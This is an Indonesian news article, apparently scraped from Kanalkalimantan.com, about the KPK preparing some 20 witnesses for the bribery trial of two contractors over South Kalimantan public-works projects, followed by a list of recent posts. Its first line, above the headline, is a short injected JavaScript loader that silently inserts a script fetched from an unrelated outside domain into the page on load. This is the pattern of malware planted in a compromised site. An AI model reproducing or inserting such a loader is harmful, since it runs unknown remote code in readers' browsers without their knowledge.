(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

KPK Siapkan 20 Saksi Sidang Suap Proyek PUPR Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Komisi Pemberantasan Korupsi (KPK) menyiapkan sejumlah saksi yang akan menyampaikan kesaksian di muka persidangan dalam kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalimantan Selatan (Kalsel).

Itu setelah hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin menolak seluruh nota keberatan penasehat hukum Andi Susanto dan Sugeng Wahyudi, dua terdakwa pemberi suap.

Putusan sela itu dibacakan majelis hakim yang diketuai Cahyono Riza Arianto SH MH pada Kamis (9/1/2025) siang, di ruang sidang Pengadilan Tipikor Banjarmasin.

Atas putusan sela itu, sidang berlanjutan dengan pemeriksaan saksi yang akan dihadirkan tim jaksa penuntut umum KPK pada Kamis (16/1/2025) pekan depan.

Baca juga: Respon Hakim MK Terkait Dalil Permohonan Denny Cs di Sidang Gugatan 

Jaksa KPK, Dame Maria. Foto: rizki

Jaksa KPK, Dame Maria mengatakan, sejauh ini pihaknya masih memilah sejumlah saksi yang bakal dihadirkan ke persidangan.

Dia menyebut total saksi yang akan dihadirkan secara langsung di persidangan berjumlah sekitar 20 orang.

“Di awal-awal (saksi yang dihadirkan) dari pihak ASN yang bisa menerangkan terkait proyek-proyek, baru berikutnya tentang aliran dana,” kata Dame.

Jaksa KPK ini membocorkan, tersangka penerima suap mantan Kepala Dinas PUPR Kalsel Ahmad Solhan yang saat ini berada di sel KPK juga dipastikan dihadirkan pada saat persidangan. Termasuk tersangka KPK lain yang terkait dalam kasus ini.

Baca juga: Hakim Tolak Keberatan Dua Terdakwa Suap Proyek PUPR Kalsel 

“(Solhan) nanti ada, nanti akan kita pilah,” sebutnya.

Sementara untuk mantan Gubernur Kalsel Sahbirn Noor alias Paman Birin, Jaksa KPK menyebut yang bersangkutan belum tentu dipanggil karena tidak ada dalam daftar saksi yang bakal dihadirkan di persidangan.

“(Paman Birin) sampai saat ini yang bersangkutan belum ada dalam daftar saksi di berkas yang kami terima,” ucap Dame.

Andi Susanto dan Sugeng Wahyudi selaku kontraktor proyek Dinas PUPR Kalsel didakwa secara bersama memberikan hadiah atau kepada ASN atau penyelenggara negara.

Baca juga: Angkutan Pelajar Gratis Tak Lagi Layani Sekolah di Banjarbaru, Ini Penyebabnya

Adalah Ahmad Solhan selaku Kadis PUPR Kalsel dan Yunita Erlyna, Kabid Cipta Karya PUPR Kalsel terkena Operasi Tangkap Tangan (OTT) dan ditetapkan sebagai tersangka oleh KPK.

JPU memasang pasal 5 ayat 1 huruf b Undang-Undang nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat (1) ke-1 KUHP, sebagai dakwaan pertama.

Kemudian dakwaan alternatif kedua, dipasang pasal 13 Undang-Undang nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat (1) ke 1 KUHP.

Hadiah uang Rp1 miliar terkait dengan tiga proyek tahun 2024, pembangunan Gedung Samsat Terpadu di Jalan Ahmad Yani Km 17, Kecamatan Gambut, Kabupaten Banjar dikerjakan oleh PT Haryadi Indo Utama (HIU) dengan nilai Rp22.268.020.250.

Baca juga: BRI Multicurrency dan BRImo Memberikan Kemudahan dan Kenyamanan Bertransaksi saat liburan!

Dua proyek lain yaitu pembangunan lapangan sepak bola sebesar Rp23.248.949.136 dengan penyedia PT Wismani Kharya Mandiri (WKM). Dan pembangunan kolam renang dengan biaya Rp9.178.205.930, penyedia terpilih CV Bangun Banua Bersama (CBB). Dua proyek itu dibangun di Kawasan Olahraga Terintegrasi Provinsi Kalsel. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Tongkat Komando Polres Banjarbaru Resmi Dipegang AKBP Pius X Febry Aceng Loda

KANALKALIMANTAN.COM, BANJARBARU – Tongkat kepemimpinan tertinggi Kepala Kepolisian Resor (Polres) Banjarbaru secara resmi dipegang AKBP… Read More

3 menit ago

BRI Multicurrency dan BRImo Memberikan Kemudahan dan Kenyamanan Bertransaksi saat liburan!

KANALKALIMANTAN.COM - Liburan panjang akhir bulan jadi momen yang dinanti-nantikan oleh banyak orang. Saat itu,… Read More

4 jam ago

Respon Hakim MK Terkait Dalil Permohonan Denny Cs di Sidang Gugatan

Hanya Perlu 1 Suara untuk Menang pada Pilwali Banjarbaru 2024 Read More

9 jam ago

Dishub dan Organda Tak Bersepakat, APG Banjarbaru Jadinya Setop Operasi

KANALKALIMANTAN.COM, BANJARBARU - Belum beroperasi Angkutan Pelajar Gratis (APG) di sejumlah sekolah di Banjarbaru di… Read More

11 jam ago

Empat Pemohon Gugatan Pilwali Banjarbaru di MK

KANALKALIMANTAN.COM, JAKARTA - Empat buah gugatan dibacakan langsung dalam sidang sengketa hasil Pemilihan Wali Kota… Read More

13 jam ago

Sidang Gugatan Pilwali Banjarbaru: KPU RI Ambil Alih, Pemilihan Diulang Lawan Kotak Kosong

KANALKALIMANTAN.COM, JAKARTA - Sidang gugatan sengketa hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali)… Read More

1 hari ago

This website uses cookies.